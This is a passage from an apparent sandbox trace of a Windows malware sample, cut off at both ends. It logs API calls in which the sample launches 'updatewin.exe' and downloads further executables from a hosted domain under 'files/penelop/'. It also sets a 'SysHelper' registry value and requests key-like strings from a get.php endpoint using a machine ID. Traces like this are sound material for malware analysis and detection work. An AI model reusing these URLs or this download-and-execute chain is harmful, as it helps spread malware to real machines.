lpNumberOfBytesWritten=0xe36d6dc, lpOverlapped=0x0 | out: lpBuffer=0xe36d778*, lpNumberOfBytesWritten=0xe36d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0059.352] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe36d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xe36d6d8 | out: lpBuffer=0xe36d778*, lpdwNumberOfBytesRead=0xe36d6d8*=0x2800) returned 1 [0059.352] WriteFile (in: hFile=0x6c8, lpBuffer=0xe36d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xe36d6dc, lpOverlapped=0x0 | out: lpBuffer=0xe36d778*, lpNumberOfBytesWritten=0xe36d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0059.352] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe36d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xe36d6d8 | out: lpBuffer=0xe36d778*, lpdwNumberOfBytesRead=0xe36d6d8*=0x2800) returned 1 [0059.353] WriteFile (in: hFile=0x6c8, lpBuffer=0xe36d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xe36d6dc, lpOverlapped=0x0 | out: lpBuffer=0xe36d778*, lpNumberOfBytesWritten=0xe36d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0059.353] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe36d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xe36d6d8 | out: lpBuffer=0xe36d778*, lpdwNumberOfBytesRead=0xe36d6d8*=0x2800) returned 1 [0059.353] WriteFile (in: hFile=0x6c8, lpBuffer=0xe36d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xe36d6dc, lpOverlapped=0x0 | out: lpBuffer=0xe36d778*, lpNumberOfBytesWritten=0xe36d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0059.354] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe36d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xe36d6d8 | out: lpBuffer=0xe36d778*, lpdwNumberOfBytesRead=0xe36d6d8*=0x2800) returned 1 [0059.526] WriteFile (in: hFile=0x6c8, lpBuffer=0xe36d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xe36d6dc, lpOverlapped=0x0 | out: lpBuffer=0xe36d778*, lpNumberOfBytesWritten=0xe36d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0059.526] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe36d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xe36d6d8 | out: lpBuffer=0xe36d778*, lpdwNumberOfBytesRead=0xe36d6d8*=0x2800) returned 1 [0059.527] WriteFile (in: hFile=0x6c8, lpBuffer=0xe36d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xe36d6dc, lpOverlapped=0x0 | out: lpBuffer=0xe36d778*, lpNumberOfBytesWritten=0xe36d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0059.527] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe36d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xe36d6d8 | out: lpBuffer=0xe36d778*, lpdwNumberOfBytesRead=0xe36d6d8*=0x2800) returned 1 [0059.528] WriteFile (in: hFile=0x6c8, lpBuffer=0xe36d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xe36d6dc, lpOverlapped=0x0 | out: lpBuffer=0xe36d778*, lpNumberOfBytesWritten=0xe36d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0059.528] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe36d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xe36d6d8 | out: lpBuffer=0xe36d778*, lpdwNumberOfBytesRead=0xe36d6d8*=0x2800) returned 1 [0059.729] WriteFile (in: hFile=0x6c8, lpBuffer=0xe36d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xe36d6dc, lpOverlapped=0x0 | out: lpBuffer=0xe36d778*, lpNumberOfBytesWritten=0xe36d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0059.730] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe36d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xe36d6d8 | out: lpBuffer=0xe36d778*, lpdwNumberOfBytesRead=0xe36d6d8*=0x2800) returned 1 [0059.730] WriteFile (in: hFile=0x6c8, lpBuffer=0xe36d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xe36d6dc, lpOverlapped=0x0 | out: lpBuffer=0xe36d778*, lpNumberOfBytesWritten=0xe36d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0059.731] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe36d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xe36d6d8 | out: lpBuffer=0xe36d778*, lpdwNumberOfBytesRead=0xe36d6d8*=0x2800) returned 1 [0059.731] WriteFile (in: hFile=0x6c8, lpBuffer=0xe36d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xe36d6dc, lpOverlapped=0x0 | out: lpBuffer=0xe36d778*, lpNumberOfBytesWritten=0xe36d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0059.731] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe36d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xe36d6d8 | out: lpBuffer=0xe36d778*, lpdwNumberOfBytesRead=0xe36d6d8*=0x2800) returned 1 [0059.732] WriteFile (in: hFile=0x6c8, lpBuffer=0xe36d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xe36d6dc, lpOverlapped=0x0 | out: lpBuffer=0xe36d778*, lpNumberOfBytesWritten=0xe36d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0059.732] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe36d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xe36d6d8 | out: lpBuffer=0xe36d778*, lpdwNumberOfBytesRead=0xe36d6d8*=0x2800) returned 1 [0059.732] WriteFile (in: hFile=0x6c8, lpBuffer=0xe36d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xe36d6dc, lpOverlapped=0x0 | out: lpBuffer=0xe36d778*, lpNumberOfBytesWritten=0xe36d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0059.733] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe36d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xe36d6d8 | out: lpBuffer=0xe36d778*, lpdwNumberOfBytesRead=0xe36d6d8*=0x2800) returned 1 [0059.733] WriteFile (in: hFile=0x6c8, lpBuffer=0xe36d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xe36d6dc, lpOverlapped=0x0 | out: lpBuffer=0xe36d778*, lpNumberOfBytesWritten=0xe36d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0059.733] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe36d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xe36d6d8 | out: lpBuffer=0xe36d778*, lpdwNumberOfBytesRead=0xe36d6d8*=0x2800) returned 1 [0059.908] WriteFile (in: hFile=0x6c8, lpBuffer=0xe36d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xe36d6dc, lpOverlapped=0x0 | out: lpBuffer=0xe36d778*, lpNumberOfBytesWritten=0xe36d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0059.909] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe36d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xe36d6d8 | out: lpBuffer=0xe36d778*, lpdwNumberOfBytesRead=0xe36d6d8*=0x2800) returned 1 [0059.909] WriteFile (in: hFile=0x6c8, lpBuffer=0xe36d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xe36d6dc, lpOverlapped=0x0 | out: lpBuffer=0xe36d778*, lpNumberOfBytesWritten=0xe36d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0059.909] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe36d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xe36d6d8 | out: lpBuffer=0xe36d778*, lpdwNumberOfBytesRead=0xe36d6d8*=0x2800) returned 1 [0059.911] WriteFile (in: hFile=0x6c8, lpBuffer=0xe36d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xe36d6dc, lpOverlapped=0x0 | out: lpBuffer=0xe36d778*, lpNumberOfBytesWritten=0xe36d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0059.911] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe36d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xe36d6d8 | out: lpBuffer=0xe36d778*, lpdwNumberOfBytesRead=0xe36d6d8*=0x2800) returned 1 [0059.912] WriteFile (in: hFile=0x6c8, lpBuffer=0xe36d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xe36d6dc, lpOverlapped=0x0 | out: lpBuffer=0xe36d778*, lpNumberOfBytesWritten=0xe36d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0059.912] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe36d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xe36d6d8 | out: lpBuffer=0xe36d778*, lpdwNumberOfBytesRead=0xe36d6d8*=0x1e00) returned 1 [0059.913] WriteFile (in: hFile=0x6c8, lpBuffer=0xe36d778*, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0xe36d6dc, lpOverlapped=0x0 | out: lpBuffer=0xe36d778*, lpNumberOfBytesWritten=0xe36d6dc*=0x1e00, lpOverlapped=0x0) returned 1 [0059.913] CloseHandle (hObject=0x6c8) returned 1 [0059.916] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0059.921] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0059.921] ShellExecuteA (hwnd=0x0, lpOperation=0x0, lpFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd\\updatewin.exe", lpParameters=0x0, lpDirectory=0x0, nShowCmd=1) returned 0x2a [0059.959] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7aa7b78 | out: hHeap=0x4ff0000) returned 1 [0059.959] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a8c860 | out: hHeap=0x4ff0000) returned 1 [0059.959] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a886e8 | out: hHeap=0x4ff0000) returned 1 [0059.959] InternetOpenA (lpszAgent="Microsoft Internet Explorer", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0059.959] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x30) returned 0x79bed08 [0059.959] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x84e) returned 0x7a0ad00 [0059.960] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x79bed08, cbMultiByte=-1, lpWideCharStr=0x7a0ad00, cchWideChar=1063 | out: lpWideCharStr="http://dell1.ug/files/penelop/3.exe") returned 36 [0059.960] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x850) returned 0x7a886e8 [0059.960] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a0ad00 | out: hHeap=0x4ff0000) returned 1 [0059.960] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79bed08 | out: hHeap=0x4ff0000) returned 1 [0059.960] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x850) returned 0x7a0ad00 [0059.960] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x827) returned 0x7ab2e88 [0059.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://dell1.ug/files/penelop/3.exe", cchWideChar=-1, lpMultiByteStr=0x7ab2e88, cbMultiByte=2087, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://dell1.ug/files/penelop/3.exe", lpUsedDefaultChar=0x0) returned 36 [0059.960] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x830) returned 0x7a6e8f8 [0059.960] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7ab2e88 | out: hHeap=0x4ff0000) returned 1 [0059.960] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a0ad00 | out: hHeap=0x4ff0000) returned 1 [0059.960] InternetOpenUrlA (hInternet=0xcc0004, lpszUrl="http://dell1.ug/files/penelop/3.exe", lpszHeaders=0x0, dwHeadersLength=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0061.948] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a6e8f8 | out: hHeap=0x4ff0000) returned 1 [0061.948] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0xe36d6d0, lpdwBufferLength=0xe36d710, lpdwIndex=0x0 | out: lpBuffer=0xe36d6d0*, lpdwBufferLength=0xe36d710*=0x4, lpdwIndex=0x0) returned 1 [0061.949] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a886e8 | out: hHeap=0x4ff0000) returned 1 [0061.949] InternetOpenA (lpszAgent="Microsoft Internet Explorer", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0010 [0061.949] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x30) returned 0x79beec8 [0061.949] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x84e) returned 0x7a0ad00 [0061.949] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x79beec8, cbMultiByte=-1, lpWideCharStr=0x7a0ad00, cchWideChar=1063 | out: lpWideCharStr="http://dell1.ug/files/penelop/4.exe") returned 36 [0061.949] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x850) returned 0x7a886e8 [0061.949] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a0ad00 | out: hHeap=0x4ff0000) returned 1 [0061.949] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79beec8 | out: hHeap=0x4ff0000) returned 1 [0061.949] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x850) returned 0x7a0ad00 [0061.949] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x827) returned 0x7ab2e88 [0061.949] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://dell1.ug/files/penelop/4.exe", cchWideChar=-1, lpMultiByteStr=0x7ab2e88, cbMultiByte=2087, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://dell1.ug/files/penelop/4.exe", lpUsedDefaultChar=0x0) returned 36 [0061.949] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x830) returned 0x7a6e8f8 [0061.949] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7ab2e88 | out: hHeap=0x4ff0000) returned 1 [0061.949] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a0ad00 | out: hHeap=0x4ff0000) returned 1 [0061.949] InternetOpenUrlA (hInternet=0xcc0010, lpszUrl="http://dell1.ug/files/penelop/4.exe", lpszHeaders=0x0, dwHeadersLength=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc0018 [0063.128] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a6e8f8 | out: hHeap=0x4ff0000) returned 1 [0063.128] HttpQueryInfoW (in: hRequest=0xcc0018, dwInfoLevel=0x20000013, lpBuffer=0xe36d6d0, lpdwBufferLength=0xe36d710, lpdwIndex=0x0 | out: lpBuffer=0xe36d6d0*, lpdwBufferLength=0xe36d710*=0x4, lpdwIndex=0x0) returned 1 [0063.128] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a886e8 | out: hHeap=0x4ff0000) returned 1 [0063.128] InternetOpenA (lpszAgent="Microsoft Internet Explorer", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc001c [0063.128] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x30) returned 0x79bef38 [0063.128] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x84e) returned 0x7a886e8 [0063.128] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x79bef38, cbMultiByte=-1, lpWideCharStr=0x7a886e8, cchWideChar=1063 | out: lpWideCharStr="http://dell1.ug/files/penelop/5.exe") returned 36 [0063.128] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x850) returned 0x7ab2e88 [0063.128] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a886e8 | out: hHeap=0x4ff0000) returned 1 [0063.128] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79bef38 | out: hHeap=0x4ff0000) returned 1 [0063.128] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x850) returned 0x7a886e8 [0063.128] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x827) returned 0x50e47f0 [0063.128] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://dell1.ug/files/penelop/5.exe", cchWideChar=-1, lpMultiByteStr=0x50e47f0, cbMultiByte=2087, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://dell1.ug/files/penelop/5.exe", lpUsedDefaultChar=0x0) returned 36 [0063.128] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x830) returned 0x7a6e8f8 [0063.128] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x50e47f0 | out: hHeap=0x4ff0000) returned 1 [0063.128] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a886e8 | out: hHeap=0x4ff0000) returned 1 [0063.128] InternetOpenUrlA (hInternet=0xcc001c, lpszUrl="http://dell1.ug/files/penelop/5.exe", lpszHeaders=0x0, dwHeadersLength=0x0, dwFlags=0x0, dwContext=0x0) Thread: id = 46 os_tid = 0x840 [0049.670] timeGetTime () returned 0x11461bf [0049.670] GetLastError () returned 0x54f [0049.671] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x8, Size=0x3bc) returned 0x7a0d0f0 [0049.671] GetCurrentThreadId () returned 0x840 [0049.671] SetLastError (dwErrCode=0x54f) [0049.671] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion", ulOptions=0x0, samDesired=0xf003f, phkResult=0x145aa6e4 | out: phkResult=0x145aa6e4*=0x5d0) returned 0x0 [0049.671] RegQueryValueExW (in: hKey=0x5d0, lpValueName="SysHelper", lpReserved=0x0, lpType=0x145aa6d8, lpData=0x145aa6e0, lpcbData=0x145aa6dc*=0x4 | out: lpType=0x145aa6d8*=0x0, lpData=0x145aa6e0*=0x0, lpcbData=0x145aa6dc*=0x4) returned 0x2 [0049.671] RegSetValueExW (in: hKey=0x5d0, lpValueName="SysHelper", Reserved=0x0, dwType=0x4, lpData=0x145aa6e0*=0x1, cbData=0x4 | out: lpData=0x145aa6e0*=0x1) returned 0x0 [0049.671] RegCloseKey (hKey=0x5d0) returned 0x0 [0049.671] InternetOpenW (lpszAgent="Microsoft Internet Explorer", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0010 [0049.671] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x70) returned 0x79be5a8 [0049.671] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0xa6) returned 0x799a278 [0049.671] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79be5a8 | out: hHeap=0x4ff0000) returned 1 [0049.671] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x30) returned 0x79a6d50 [0049.671] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x840) returned 0x79cd758 [0049.671] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x79a6d50, cbMultiByte=-1, lpWideCharStr=0x79cd758, cchWideChar=1056 | out: lpWideCharStr="DD27E7F2A8F3C6E76FED65713A3B1277") returned 33 [0049.671] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x850) returned 0x79d5048 [0049.671] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79cd758 | out: hHeap=0x4ff0000) returned 1 [0049.671] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79a6d50 | out: hHeap=0x4ff0000) returned 1 [0049.671] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x8c0) returned 0x79cd758 [0049.671] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x799a278 | out: hHeap=0x4ff0000) returned 1 [0049.672] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79d5048 | out: hHeap=0x4ff0000) returned 1 [0049.672] lstrcpyW (in: lpString1=0x145aaf78, lpString2="http://dell1.ug/Asdh34y5iusdf91/345678yjdfgdfg/get.php?pid=DD27E7F2A8F3C6E76FED65713A3B1277" | out: lpString1="http://dell1.ug/Asdh34y5iusdf91/345678yjdfgdfg/get.php?pid=DD27E7F2A8F3C6E76FED65713A3B1277") returned="http://dell1.ug/Asdh34y5iusdf91/345678yjdfgdfg/get.php?pid=DD27E7F2A8F3C6E76FED65713A3B1277" [0049.672] lstrcatW (in: lpString1="http://dell1.ug/Asdh34y5iusdf91/345678yjdfgdfg/get.php?pid=DD27E7F2A8F3C6E76FED65713A3B1277", lpString2="&first=true" | out: lpString1="http://dell1.ug/Asdh34y5iusdf91/345678yjdfgdfg/get.php?pid=DD27E7F2A8F3C6E76FED65713A3B1277&first=true") returned="http://dell1.ug/Asdh34y5iusdf91/345678yjdfgdfg/get.php?pid=DD27E7F2A8F3C6E76FED65713A3B1277&first=true" [0049.672] InternetOpenUrlW (hInternet=0xcc0010, lpszUrl="http://dell1.ug/Asdh34y5iusdf91/345678yjdfgdfg/get.php?pid=DD27E7F2A8F3C6E76FED65713A3B1277&first=true", lpszHeaders=0x0, dwHeadersLength=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc0018 [0050.837] InternetReadFile (in: hFile=0xcc0018, lpBuffer=0x145aa778, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x145aa774 | out: lpBuffer=0x145aa778*, lpdwNumberOfBytesRead=0x145aa774*=0x67) returned 1 [0050.837] InternetCloseHandle (hInternet=0xcc0018) returned 1 [0050.839] InternetCloseHandle (hInternet=0xcc0010) returned 1 [0050.839] lstrlenA (lpString="{\"line1\":\"") returned 10 [0050.839] lstrcpyA (in: lpString1=0x145aab78, lpString2="B2sfQkmuSRRAYuUpF2X5OjLvjly5Zsql4Ck6CCpi\",\"line2\":\"dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}" | out: lpString1="B2sfQkmuSRRAYuUpF2X5OjLvjly5Zsql4Ck6CCpi\",\"line2\":\"dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned="B2sfQkmuSRRAYuUpF2X5OjLvjly5Zsql4Ck6CCpi\",\"line2\":\"dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}" [0050.839] lstrcpyA (in: lpString1=0x145aa778, lpString2="B2sfQkmuSRRAYuUpF2X5OjLvjly5Zsql4Ck6CCpi\",\"line2\":\"dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}" | out: lpString1="B2sfQkmuSRRAYuUpF2X5OjLvjly5Zsql4Ck6CCpi\",\"line2\":\"dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned="B2sfQkmuSRRAYuUpF2X5OjLvjly5Zsql4Ck6CCpi\",\"line2\":\"dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}" [0050.839] lstrlenA (lpString="B2sfQkmuSRRAYuUpF2X5OjLvjly5Zsql4Ck6CCpi\",\"line2\":\"dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 93 [0050.839] lstrlenA (lpString="B2sfQkmuSRRAYuUpF2X5OjLvjly5Zsql4Ck6CCpi\",\"line2\":\"dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 93 [0050.839] lstrlenA (lpString="B2sfQkmuSRRAYuUpF2X5OjLvjly5Zsql4Ck6CCpi\",\"line2\":\"dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 93 [0050.839] lstrlenA (lpString="B2sfQkmuSRRAYuUpF2X5OjLvjly5Zsql4Ck6CCpi\",\"line2\":\"dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 93 [0050.839] lstrlenA (lpString="B2sfQkmuSRRAYuUpF2X5OjLvjly5Zsql4Ck6CCpi\",\"line2\":\"dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 93 [0050.839] lstrlenA (lpString="B2sfQkmuSRRAYuUpF2X5OjLvjly5Zsql4Ck6CCpi\",\"line2\":\"dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 93 [0050.839] lstrlenA (lpString="B2sfQkmuSRRAYuUpF2X5OjLvjly5Zsql4Ck6CCpi\",\"line2\":\"dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 93 [0050.839] lstrlenA (lpString="B2sfQkmuSRRAYuUpF2X5OjLvjly5Zsql4Ck6CCpi\",\"line2\":\"dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 93 [0050.839] lstrlenA (lpString="B2sfQkmuSRRAYuUpF2X5OjLvjly5Zsql4Ck6CCpi\",\"line2\":\"dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 93 [0050.839] lstrlenA (lpString="B2sfQkmuSRRAYuUpF2X5OjLvjly5Zsql4Ck6CCpi\",\"line2\":\"dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 93 [0050.839] lstrlenA (lpString="B2sfQkmuSRRAYuUpF2X5OjLvjly5Zsql4Ck6CCpi\",\"line2\":\"dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 93 [0050.839] lstrlenA (lpString="B2sfQkmuSRRAYuUpF2X5OjLvjly5Zsql4Ck6CCpi\",\"line2\":\"dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 93 [0050.839] lstrlenA (lpString="B2sfQkmuSRRAYuUpF2X5OjLvjly5Zsql4Ck6CCpi\",\"line2\":\"dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 93 [0050.840] lstrlenA (lpString="B2sfQkmuSRRAYuUpF2X5OjLvjly5Zsql4Ck6CCpi\",\"line2\":\"dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 93 [0050.840] lstrlenA (lpString="B2sfQkmuSRRAYuUpF2X5OjLvjly5Zsql4Ck6CCpi\",\"line2\":\"dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 93 [0050.840] lstrlenA (lpString="B2sfQkmuSRRAYuUpF2X5OjLvjly5Zsql4Ck6CCpi\",\"line2\":\"dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 93 [0050.840] lstrlenA (lpString="B2sfQkmuSRRAYuUpF2X5OjLvjly5Zsql4Ck6CCpi\",\"line2\":\"dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 93 [0050.840] lstrlenA (lpString="B2sfQkmuSRRAYuUpF2X5OjLvjly5Zsql4Ck6CCpi\",\"line2\":\"dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 93 [0050.840] lstrlenA (lpString="B2sfQkmuSRRAYuUpF2X5OjLvjly5Zsql4Ck6CCpi\",\"line2\":\"dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 93 [0050.840] lstrlenA (lpString="B2sfQkmuSRRAYuUpF2X5OjLvjly5Zsql4Ck6CCpi\",\"line2\":\"dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 93 [0050.840] lstrlenA 